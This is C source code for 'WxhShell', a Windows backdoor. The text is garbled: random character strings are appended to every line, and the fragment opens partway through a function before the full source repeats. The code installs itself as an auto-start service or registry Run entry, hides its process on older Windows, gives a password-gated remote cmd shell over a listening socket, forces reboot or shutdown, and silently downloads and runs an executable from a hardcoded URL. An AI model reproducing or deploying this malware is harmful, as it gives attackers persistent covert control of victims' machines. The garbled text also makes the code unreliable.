    if(Boot(SHUTDOWN)) m}VM+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5c]Mn"r  
    else { G@S&1=nj3  
    closesocket(wsh); ~;-9X|  
    ExitThread(0); 9?+9UlJ7K  
    } mzL[/B#>M  
    break; ]O:M$ $  
    } ps1YQ3Ep&  
  // 获取shell ;D ~L|  
  case 's': { lfk9+)  
    CmdShell(wsh); n)8Yj/5  
    closesocket(wsh); D-9\~gvh  
    ExitThread(0); [n,?WwC  
    break; EruP  
  } ,KW;2t*IQ@  
  // 退出 Hv#q:R8  
  case 'x': { lQPqcZd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4C~UcGMv\  
    CloseIt(wsh); " oy\_1|  
    break; %XhfXd'  
    } Ft%hh|$5y  
  // 离开 HN5W@5m: .  
  case 'q': { mkvvNm3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hJ%1   
    closesocket(wsh); h -_&MD/J  
    WSACleanup(); (J:dK=O@Z  
    exit(1); ic6L9>[  
    break; Y5A~E#zw  
        } [nN7qG  
  } PW}OU9is  
  } p5c8YfM  
~pP0|B*%  
  // 提示信息 w=r&?{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2x$x; \*j  
} L3y5a?G  
  } ^<V9'Ut   
_|c&@M  
  return; #S QXTR  
} 5#:pT  
lH BI  
// shell模块句柄 O]u",J5  
int CmdShell(SOCKET sock) 7r{qJ7$%  
{ kL{;.WsB  
STARTUPINFO si; _[Gb)/@mM  
ZeroMemory(&si,sizeof(si)); ^kj=<+ v#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ka7uK][  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e]W0xC-  
PROCESS_INFORMATION ProcessInfo; ?z`MPdO  
char cmdline[]="cmd"; 2@@l{Y0f6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jThbeY[  
  return 0; .e[Tu|qo  
} [p;*r)f2}  
%j]ST D.E  
// 自身启动模式 ,j9 80/  
int StartFromService(void) RpQ*!a~O  
{ "mj^+u-  
typedef struct ;'kI/(;;C  
{ \4~AI=aw,T  
  DWORD ExitStatus; HR{s&ho  
  DWORD PebBaseAddress; 6o}V@UzqV  
  DWORD AffinityMask; #0 y <a:}R  
  DWORD BasePriority; %&] 1FhL  
  ULONG UniqueProcessId; p]LnE `v  
  ULONG InheritedFromUniqueProcessId; )y50Mb0+  
}   PROCESS_BASIC_INFORMATION; &H;8QZ8uw  
`bgb*Yaod  
PROCNTQSIP NtQueryInformationProcess; ;i)KHj'  
2/Nq'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Q[g/%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9{J?HFw*;  
w$Ux?y- L  
  HANDLE             hProcess; to3?$-L  
  PROCESS_BASIC_INFORMATION pbi; aPIr_7e  
L4974E?S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UOI^c  
  if(NULL == hInst ) return 0; [STje8+V  
1t~({Pl<>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Jxq'B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Bs+G/?o/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O8RzUg&  
xEoip?O?7F  
  if (!NtQueryInformationProcess) return 0; r#h {$iW  
>[K?fJ$+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MQw9X  
  if(!hProcess) return 0; u^Sv#K X  
 ]6~k4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W7e4pR?w  
Y}1 P~  
  CloseHandle(hProcess); X\A]"su  
9]~PC Z2j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lSCY5[?  
if(hProcess==NULL) return 0; pDDG_4E>  
!RMS+Mm?  
HMODULE hMod; h%b hrkD  
char procName[255]; Qilj/x68  
unsigned long cbNeeded; zeOb Aw1O  
>}]H;& l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U1\MA6pXW  
HWtPLlNt  
  CloseHandle(hProcess); !LSs9_w  
Q_lu`F|  
if(strstr(procName,"services")) return 1; // 以服务启动 EVz9WY  
S:97B\ u`  
  return 0; // 注册表启动 D0%FELG05  
} 0VG=?dq  
)1z4q`  
// 主模块 O)<r>vqe}  
int StartWxhshell(LPSTR lpCmdLine) 9".Uc8^p/F  
{ 8&Wx@QI  
  SOCKET wsl; "Z9^}  
BOOL val=TRUE; wiV&xl  
  int port=0; 5Fe-=BX(  
  struct sockaddr_in door; Q x.jCy@  
4!'1/3cY  
  if(wscfg.ws_autoins) Install(); $MT}l  
w|G~Il  
port=atoi(lpCmdLine); )kA2vX^=Z  
59MR|Jt  
if(port<=0) port=wscfg.ws_port; cju@W]!  
32KR--mn%  
  WSADATA data; 9S"N4c>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gc}0]!nrW9  
1Zq   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $~hdm$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /,t| !)\]  
  door.sin_family = AF_INET; Em9my2oE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ScHlfk p  
  door.sin_port = htons(port); onh?/3l  
t'Htx1#Zc[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cUM_ncYOP  
closesocket(wsl); ] zIfC>@R  
return 1; yy))Z0E5  
} =#'+"+lQ }  
GU#Q}L2  
  if(listen(wsl,2) == INVALID_SOCKET) { >0M:&NMda  
closesocket(wsl); 0~.)GG%R>D  
return 1; z (#Xca  
} |+mOH#Aty  
  Wxhshell(wsl); 5:_~mlfi  
  WSACleanup(); bXm :]?  
g`{Dxb,t  
return 0; |@q9{h7  
B{4"$Mi  
} xOgq-@`  
(WkTQRcN,  
// 以NT服务方式启动 a[JZ5D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <tU :U<ea]  
{ jQ^Yj"6  
DWORD   status = 0; :%>oe> _"  
  DWORD   specificError = 0xfffffff; yI *M[0  
q|/!0MU"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {V=vn L--  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o] S`+ZcV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B~4mk  
  serviceStatus.dwWin32ExitCode     = 0; ~q5-9{ma  
  serviceStatus.dwServiceSpecificExitCode = 0; 2}|vWKej{  
  serviceStatus.dwCheckPoint       = 0; k$?&]! <o  
  serviceStatus.dwWaitHint       = 0; !yk7HaP  
X`tOO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sFD!7 ;  
  if (hServiceStatusHandle==0) return; b/G8M r  
;]"n?uo  
status = GetLastError(); ;\q<zO@x  
  if (status!=NO_ERROR) ew/KZE  
{ @u<0_r t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zo87^y5?G  
    serviceStatus.dwCheckPoint       = 0; .0KOnLdK  
    serviceStatus.dwWaitHint       = 0; I(y`)$}  
    serviceStatus.dwWin32ExitCode     = status; 0A@-9w=u  
    serviceStatus.dwServiceSpecificExitCode = specificError; "1\(ZKG8^Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =^ gvZ| ]  
    return; @V7;TJk  
  } "&| lO|  
!__D}k,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @gY'YA8m  
  serviceStatus.dwCheckPoint       = 0; EqYz,%I%  
  serviceStatus.dwWaitHint       = 0; 0.3^   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a?l_-Fi  
} !HbqbS22  
37,L**Dgs  
// 处理NT服务事件,比如:启动、停止 C!`>cUhE{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /;[}=JL<Q  
{ }q/(D?  
switch(fdwControl) pEJ#ad  
{ TIKEg10I  
case SERVICE_CONTROL_STOP: fWqv3nY^  
  serviceStatus.dwWin32ExitCode = 0; <b3x(/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;c nnqT6  
  serviceStatus.dwCheckPoint   = 0; ,q/tyGj  
  serviceStatus.dwWaitHint     = 0; G)4 ZK#wz  
  { 1+VY><=n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]gjr+GV  
  } *c!;^Qyp&  
  return; aGdpec v  
case SERVICE_CONTROL_PAUSE: z^ YeMe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _95- -\  
  break; ;sm"\.jF  
case SERVICE_CONTROL_CONTINUE: !XkymIX~O.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BJ_+z gf`  
  break; p3{x<AO/  
case SERVICE_CONTROL_INTERROGATE: ]L[JS^#7  
  break; PjiNu.>2(  
}; t00\yb^vJ8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |C&%S"*+D  
} U#OWUZ  
,s\x]bh  
// 标准应用程序主函数 Qo]vpp^[#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X v`2hf  
{ XPGL3[w\V  
" &_$V@S  
// 获取操作系统版本 _K*\}un2  
OsIsNt=GetOsVer(); EY,;e\7O,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )w^GP lh  
NKupOJJq  
  // 从命令行安装 dcV,_  
  if(strpbrk(lpCmdLine,"iI")) Install(); {d&X/tT  
)er?*^9Z  
  // 下载执行文件 hP,b-R9\  
if(wscfg.ws_downexe) { jsK|D{m?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c,+L +  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kx(76_XD  
} tn(?nQN3  
D|u^8\'.  
if(!OsIsNt) { '-$))AdD  
// 如果时win9x,隐藏进程并且设置为注册表启动 wUh3Hd'  
HideProc(); -lJx%9>  
StartWxhshell(lpCmdLine); y|&.v <  
} BnKP7e  
else ]}UeuF\  
  if(StartFromService()) u=_bM2;~Z  
  // 以服务方式启动 vLi/'|7  
  StartServiceCtrlDispatcher(DispatchTable); ZX~>uf\n  
else >X-ed  
  // 普通方式启动 s BeP;ox  
  StartWxhshell(lpCmdLine); _"R3N  
~0' _K1(H  
return 0; e; &{50VY  
} CVyx lc>  
Zj%B7s1A  
l044c,AW(  
BLl%D  
=========================================== _QC?:mv6-  
7/5NaUmPTt  
U.zRIhA ]  
_mIa8K;  
Uxj<x`<1x  
%J/fg<W1  
" 4Zv.[V]iOO  
kxr6sO~  
#include <stdio.h> =8$(i[;6w  
#include <string.h> gQ[]  
#include <windows.h> 97:t29N  
#include <winsock2.h> }QX2 :a  
#include <winsvc.h> 9^#zxmH)  
#include <urlmon.h> wHB Hkz  
CrRQPgl+u  
#pragma comment (lib, "Ws2_32.lib") 60U{ e}Mkb  
#pragma comment (lib, "urlmon.lib") !0!P.Q8>&  
+l[Z2mW  
#define MAX_USER   100 // 最大客户端连接数 zR3lX}g  
#define BUF_SOCK   200 // sock buffer PMz{8 F  
#define KEY_BUFF   255 // 输入 buffer []6ShcqJ[v  
r?Zy-yQ  
#define REBOOT     0   // 重启 C{d 8~6  
#define SHUTDOWN   1   // 关机 `g4Ekp'Rp[  
pQ[o3p!&9  
#define DEF_PORT   5000 // 监听端口 !_^ {udB}  
v;N1'  
#define REG_LEN     16   // 注册表键长度 @&i#S}%/  
#define SVC_LEN     80   // NT服务名长度 R"9oMaY  
M[`w{A  
// 从dll定义API kB$,1J$q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BCa90  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1{\,5U&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BM=V,BZy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P0`>{!r6@  
QXIbFv  
// wxhshell配置信息 )DklOEO  
struct WSCFG { pR@GvweA  
  int ws_port;         // 监听端口 -6em*$k^  
  char ws_passstr[REG_LEN]; // 口令 I;Z`!u:+  
  int ws_autoins;       // 安装标记, 1=yes 0=no >~^mIu_BH  
  char ws_regname[REG_LEN]; // 注册表键名 2heWE  
  char ws_svcname[REG_LEN]; // 服务名 _Gs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c*M)DO`y;h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s$DT.cvO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K 8yyxJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no + aXk^+~j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l?yZtZ8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EE{#S  
)"i>R ~*  
}; "OS]\-  
@y;tk$e  
// default Wxhshell configuration @=MZ6q  
struct WSCFG wscfg={DEF_PORT, 6>LQGO  
    "xuhuanlingzhe", ,,wyydG  
    1, Qn'r+X5t  
    "Wxhshell", 3 4A&LBwC  
    "Wxhshell", vBCZ/F[  
            "WxhShell Service", [# tT o;q  
    "Wrsky Windows CmdShell Service", pT_e;,KW U  
    "Please Input Your Password: ", :(S/$^U  
  1, RB$ 8^#  
  "http://www.wrsky.com/wxhshell.exe", 2o s6c te  
  "Wxhshell.exe" )z*$`?)k  
    }; 7Y @=x#  
)l[7;ZIw$  
// 消息定义模块 Vbqm]2o&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gqHH Hh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &]"_pc/>m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; go%X%Os]  
char *msg_ws_ext="\n\rExit."; nkCRe  
char *msg_ws_end="\n\rQuit."; ./BP+\)l O  
char *msg_ws_boot="\n\rReboot..."; *~t$k56  
char *msg_ws_poff="\n\rShutdown..."; (X`t"*y"  
char *msg_ws_down="\n\rSave to "; [pC-{~  
p Yi=q  
char *msg_ws_err="\n\rErr!"; }HA2c e\  
char *msg_ws_ok="\n\rOK!"; 43orR !.Z  
aP6%OI  
char ExeFile[MAX_PATH]; G7kFo6Cb  
int nUser = 0; %;B(_ht<-w  
HANDLE handles[MAX_USER]; {7M4SC@p|  
int OsIsNt; )*$  
(J,Oh  
SERVICE_STATUS       serviceStatus; YRM6\S)py  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g8iB;%6  
/kviO@jm4(  
// 函数声明 $Zu4tuXA  
int Install(void); 7PQj7&m  
int Uninstall(void); g)r ,q&*  
int DownloadFile(char *sURL, SOCKET wsh); )/N Xh'  
int Boot(int flag); xdTzG4  
void HideProc(void); U0|j^.)  
int GetOsVer(void); m?R+Z6c[  
int Wxhshell(SOCKET wsl); U}vtVvx  
void TalkWithClient(void *cs); (EF$^FYPK  
int CmdShell(SOCKET sock); I;":O"ij\  
int StartFromService(void); |)P;%Fy9  
int StartWxhshell(LPSTR lpCmdLine); ^x1D]+  
x+)hL D[ n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <4A(Z$ZX)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gQ+_&'C  
j|$y)FBX  
// 数据结构和表定义 Lw2YP[CR  
SERVICE_TABLE_ENTRY DispatchTable[] = n4d(`  
{ ~BYEeUo;%v  
{wscfg.ws_svcname, NTServiceMain}, 3 z/O`z  
{NULL, NULL} ?'$. -z:  
}; N(({2'Rr  
r{:la56Xd  
// 自我安装 PRf\6   
int Install(void) MgK(gL/&[  
{ s)&R W#:X  
  char svExeFile[MAX_PATH]; $lG--s  
  HKEY key; B8#f^}8  
  strcpy(svExeFile,ExeFile); O 9 Au =  
VT~ ^:-]  
// 如果是win9x系统,修改注册表设为自启动 CYic_rF$  
if(!OsIsNt) { $;`2^L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U-^S<H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P@T $6%~  
  RegCloseKey(key); /7HIL?r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fO}1(%}d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W,oV$ s^  
  RegCloseKey(key); : w`i  
  return 0; 8#JyK+NU  
    } `9"jHw`D  
  } ;7og  
} b8-^wJH!  
else { 1nM?>j%k  
j~j V`>A  
// 如果是NT以上系统,安装为系统服务 ne~#{q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0PX@E-n  
if (schSCManager!=0) fHp#Gi3Lz  
{ Mh B=+S[@  
  SC_HANDLE schService = CreateService O pX  
  ( ~CTRPH   
  schSCManager, w5G34[v  
  wscfg.ws_svcname, vP;tgW9Qk  
  wscfg.ws_svcdisp, j3'/jk]\  
  SERVICE_ALL_ACCESS, ^Q+5M"/8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ShJ:  
  SERVICE_AUTO_START, j{+I~|ZB,  
  SERVICE_ERROR_NORMAL, H ;}ue  
  svExeFile, C2%3+  
  NULL, *m Tc4&*  
  NULL, R}mWHB_h"  
  NULL, UVRV7^eTe  
  NULL, F>{uB!!L4  
  NULL BP><G^  
  ); d~s-;T  
  if (schService!=0) \e vgDZf  
  { ;Cpm3a t  
  CloseServiceHandle(schService); <^$b1<@  
  CloseServiceHandle(schSCManager); GdwHm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =7Gi4X%  
  strcat(svExeFile,wscfg.ws_svcname); fH{$LjH(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xo3)ds X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X7!A(q+h  
  RegCloseKey(key); *VAi!3Rx;  
  return 0; "@bk$o=  
    } b<MMli  
  } os+wTUR^  
  CloseServiceHandle(schSCManager); dKG<"  
} j>=".^J  
} (.t:sn"P  
}{PtQc6RL!  
return 1; ~oyPmIcb  
} W| eG}`  
Hd}t=6  
// 自我卸载 ^8t*WphZC  
int Uninstall(void) vx,6::%]  
{ )CU(~s|s  
  HKEY key; ov}{UP]a?  
l1j   
if(!OsIsNt) { hIHO a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _$x *CP0(  
  RegDeleteValue(key,wscfg.ws_regname); C_&tOt  
  RegCloseKey(key); NWcF9z%@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N^>g= Ub  
  RegDeleteValue(key,wscfg.ws_regname); 3Sb%]f5(  
  RegCloseKey(key); r!=VV!XZ  
  return 0; g9`ytWmM  
  } #_5+kBA+>'  
} !kYmrj**  
} X*;p;N  
else { 1%{(?uz9  
F.w#AV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,*#M%Pv1t  
if (schSCManager!=0) z(a:fL{/XG  
{ g7ROA8xu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P,], N)  
  if (schService!=0) D{}\7qe  
  { eS+LFS7*k  
  if(DeleteService(schService)!=0) { =swcmab;  
  CloseServiceHandle(schService); Lf<9GYNy>`  
  CloseServiceHandle(schSCManager); $t?e=#G  
  return 0; e1a%Rj~  
  } U%olH >1K  
  CloseServiceHandle(schService); ?^0Z(<Arz  
  } j|w+=A1  
  CloseServiceHandle(schSCManager); 27gm_ *  
} B)iJH  
} -4a&R=%p  
YRXe j  
return 1; l#:Q V:  
} r#}%sof  
mcracj[ B  
// 从指定url下载文件 Q?q m~wD  
int DownloadFile(char *sURL, SOCKET wsh) m]vr|:{6/  
{ Sy~Mh]{E  
  HRESULT hr; IT"jtV  
char seps[]= "/";  EZFWxR/  
char *token; YDL)F<Y  
char *file; Gj?q+-d!(5  
char myURL[MAX_PATH]; ]].21  
char myFILE[MAX_PATH]; O2B$c\pw  
r3)t5P*_  
strcpy(myURL,sURL); %dQX d ]  
  token=strtok(myURL,seps); w,$17+]3  
  while(token!=NULL) @ vudeaup  
  { [Hf FC3U  
    file=token; G)`MoVH1  
  token=strtok(NULL,seps); #v<+G=r*O  
  } <WmCH+>?r  
)<&QcO_  
GetCurrentDirectory(MAX_PATH,myFILE); ; U4X U  
strcat(myFILE, "\\"); Hs`  '](  
strcat(myFILE, file); HBu>BSv:  
  send(wsh,myFILE,strlen(myFILE),0); YG|T;/-  
send(wsh,"...",3,0); }Z=Qy;zk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pq`MO .R  
  if(hr==S_OK) 1x)%9u}  
return 0; aV.<<OS   
else 2;tp>,G9d  
return 1; |F`'m":$m  
HB^azHr  
} `XP Tf#9j  
ZvJx01F{  
// 系统电源模块 + u+fEg/A  
int Boot(int flag) x(~l[hT  
{ G[ea@u$?  
  HANDLE hToken; /cn_|DwN5  
  TOKEN_PRIVILEGES tkp; k[m-"I%ZFX  
#Ba'k6b  
  if(OsIsNt) { 3@J wL{C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3WHH3co[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  w4mL/j  
    tkp.PrivilegeCount = 1; |d8o<Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vC1 `m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d+;~x*  
if(flag==REBOOT) { im"v75 tc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I`l< }M  
  return 0; hGLBFe#3  
} dX*PR3I-3  
else { !k) ?H* ^@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Gza$ K  
  return 0; *np|PyLP:  
} 'u~use"  
  } ty ?y&~axk  
  else { AmHIG_'  
if(flag==REBOOT) { Rz<fz"/2<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Bjnz$KB  
  return 0; Qpc>5p![3  
} D]REZuHOI  
else { MtljI6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o/#e y  
  return 0; j~0hAKHG  
} z#b6 aP  
} c3+vtP&  
j.sf FS  
return 1; !xSGZ D=AD  
} n&^Rs )%v  
z!tHn#  
// win9x进程隐藏模块 (msJ:SG  
void HideProc(void) d>f5T l\E  
{ ? p]w_l  
,h"M{W$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]v#Q\Q8>  
  if ( hKernel != NULL ) d?JVB  
  { 1x]G/I*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); { .AFg/Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6aL`^^  
    FreeLibrary(hKernel); ,fbO}  
  } xYbF76B  
r BaK$Ut  
return; 6k-]2,\#  
} n:{yri+  
gg=z.`}  
// 获取操作系统版本 98l#+4 +  
int GetOsVer(void) '` n\YO.N  
{ ufmFeeg  
  OSVERSIONINFO winfo; lxbZM9A2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;+qIV&.:  
  GetVersionEx(&winfo); 1-`8v[S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |dvcDx0|K  
  return 1; D*b> l_  
  else xJ4T7 )*  
  return 0; iVA_a8}  
} k~R_Pq S  
JP#m} W  
// 客户端句柄模块 -<.>jX  
int Wxhshell(SOCKET wsl) x~ I cSt  
{ RSy1 wp4W  
  SOCKET wsh; 1'h?qv^(  
  struct sockaddr_in client; `eA0Z:`g!  
  DWORD myID; ) E5ax~  
Xa36O5$4]9  
  while(nUser<MAX_USER) j&F&wRD%r  
{ umc!KOkL  
  int nSize=sizeof(client); 4JucNGv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /%~`B[4F  
  if(wsh==INVALID_SOCKET) return 1; FYzl-7!Y  
% nR:Rc!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eb7`R81G  
if(handles[nUser]==0) <I7UyCAF  
  closesocket(wsh); & )Z JT.S  
else P;h/)-q8  
  nUser++; !9-dS=:Y  
  } L_/.b%0)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mb-C DPT  
tUzuel*  
  return 0; &_ber ad  
} xi^_C!*J  
]:F]VRPT  
// 关闭 socket _uDtRoI8  
void CloseIt(SOCKET wsh) $uboOfS83G  
{ 7#Mi`W  
closesocket(wsh); ]itvu:pl%  
nUser--; UJO+7h'  
ExitThread(0); @>da%cX  
} k(et b#  
*M&~R(TMn  
// 客户端请求句柄 XBBsdldZ  
void TalkWithClient(void *cs) } pA0mW9  
{ 778a)ZOzb  
|3s-BKbN4  
  SOCKET wsh=(SOCKET)cs; GZ9XG">  
  char pwd[SVC_LEN]; 8L0#<"'0  
  char cmd[KEY_BUFF]; W Qe>1   
char chr[1]; ]ko>vQ4]3  
int i,j; `CW=*uBH  
 </7J:#  
  while (nUser < MAX_USER) { +3VY0J  
j  $L  
if(wscfg.ws_passstr) { %h^; "|Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ugOcK Gf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ta~Ei=d^  
  //ZeroMemory(pwd,KEY_BUFF); ="MG>4j3.F  
      i=0; hD sFsG  
  while(i<SVC_LEN) { ~zi&u46  
w<>B4m\  
  // 设置超时 Xq9%{'9  
  fd_set FdRead; Nq-qks.&  
  struct timeval TimeOut; >[NNu Y~  
  FD_ZERO(&FdRead); ZM0vB% M|  
  FD_SET(wsh,&FdRead); "H6DiPh.E  
  TimeOut.tv_sec=8; .F |yxj;I7  
  TimeOut.tv_usec=0; L ej3? k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sOv:/'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %<P&"[F]v@  
^dRB(E}|)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~r+;i,,X  
  pwd=chr[0]; $5(co)C  
  if(chr[0]==0xd || chr[0]==0xa) { .a?GC(  
  pwd=0; %vgn>A?]1  
  break; iWO16=  
  } k]w;(<  
  i++; 8H;yrNL  
    } tK1P7pbC8r  
j%0D:jOY]  
  // 如果是非法用户,关闭 socket YDO#Q= q%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WUZusW5s  
} bDRl}^aO6  
"RiY#=}sm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z sv(/>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *}Vg]3$4  
?$%#y u#.  
while(1) { o^H.uBO{  
OUQySac  
  ZeroMemory(cmd,KEY_BUFF); 0;KjP?5  
1)w^.8f  
      // 自动支持客户端 telnet标准   `|+!H.3  
  j=0; uL`_Sdjw  
  while(j<KEY_BUFF) { k,OP*M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V& _  
  cmd[j]=chr[0]; &i$p5  
  if(chr[0]==0xa || chr[0]==0xd) { LS <\%A}  
  cmd[j]=0; m?0caLw<  
  break; vjmNS=l  
  } TZ3"u@ 06  
  j++; "]B:QeMeF!  
    } f }P6P>0T  
PVLLuv  
  // 下载文件 c7Jfo x V  
  if(strstr(cmd,"http://")) { V9bn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lXjhT  
  if(DownloadFile(cmd,wsh)) 0M-=3T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7a\at)q/y  
  else )lwxF P;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @vs+)aRa  
  } b8@?fC+tm  
  else { #? u#=]  
P-U9FKrt  
    switch(cmd[0]) { Xw)W6H|  
  zsOOx% +  
  // 帮助 b*Sw") #  
  case '?': { crTRfqF  
